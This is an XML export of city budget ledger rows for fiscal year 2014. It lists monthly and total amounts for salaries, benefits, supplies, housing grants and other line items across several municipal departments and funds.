<row _id="11999"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533215.0</object><object_description>BLDG/CUSTODIAL SUPPLIES-PSF</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>82900.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>82900.0</total></row>
<row _id="12000"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>41700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>41700.0</total></row>
<row _id="12001"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409063.0</object><object_description>SMSE-SUMMER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-43669.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>43669</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="12002"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2823.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2823.0</total></row>
<row _id="12003"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10314.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10314.0</total></row>
<row _id="12004"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="12005"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11983.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11983.0</total></row>
<row _id="12006"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5299.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>64</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5363.0</total></row>
<row _id="12007"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>852.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>852.0</total></row>
<row _id="12008"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1350.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1350.0</total></row>
<row _id="12009"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2101.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2101.0</total></row>
<row _id="12010"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>552010.0</object><object_description>CUSTODIAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3200.0</total></row>
<row _id="12011"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>850.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>850.0</total></row>
<row _id="12012"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400883.0</object><object_description>SPC HAP SU05</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-309861</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-309861.0</total></row>
<row _id="12013"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>403721.0</object><object_description>SERIAL INEBRIATE GRANT LEASING</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-335000</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-335000.0</total></row>
<row _id="12014"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400883.0</object><object_description>SPC HAP SU05</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-309861.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>309861</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="12015"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400885.0</object><object_description>SPC HAP NEW</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-290481.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>290481</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="12016"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400922.0</object><object_description>SPC ADMIN TRA</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-108825.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>108825</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="12017"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4067.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4067.0</total></row>
<row _id="12018"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>22417.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22417.0</total></row>
<row _id="12019"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6714.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6714.0</total></row>
<row _id="12020"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400750.0</object><object_description>INT DEP/INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-29500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>29500</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="12021"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1348.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1348.0</total></row>
<row _id="12022"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>166873.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>166873.0</total></row>
<row _id="12023"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 FSS ADMIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-65286.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>65286</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="12024"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 PORT IN ADMIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-23000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>23000</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="12025"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 FRAUD RECOVERY</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-45000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>45000</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="12026"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400394.0</object><object_description>HAP REVENUE - PORTS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-300000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>300000</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="12027"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>21657.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31757.0</total></row>
<row _id="12028"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5123.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>78</december><january>108.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5309.0</total></row>
<row _id="12029"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2623.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2623.0</total></row>
<row _id="12030"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="12031"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>316.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>316.0</total></row>
<row _id="12032"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>955.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>955.0</total></row>
<row _id="12033"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>480.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>480.0</total></row>
<row _id="12034"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5916.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5916.0</total></row>
<row _id="12035"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>39779.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>39779.0</total></row>
<row _id="12036"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-1489.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1489.0</total></row>
<row _id="12037"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>603.0</july><august>0</august><september>0</september><october>0</october><november>286</november><december>45</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>934.0</total></row>
<row _id="12038"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="12039"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>561504.0</object><object_description>SERIAL INEBRIATE PROG-HAP</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>335000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>335000.0</total></row>
<row _id="12040"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-148095.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-148095.0</total></row>
<row _id="12041"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-16561.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-16561.0</total></row>
<row _id="12042"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12090.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12090.0</total></row>
<row _id="12043"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-3635.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3635.0</total></row>
<row _id="12044"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>29433.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29433.0</total></row>
<row _id="12045"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>98135.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>20833.33</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>118968.33</total></row>
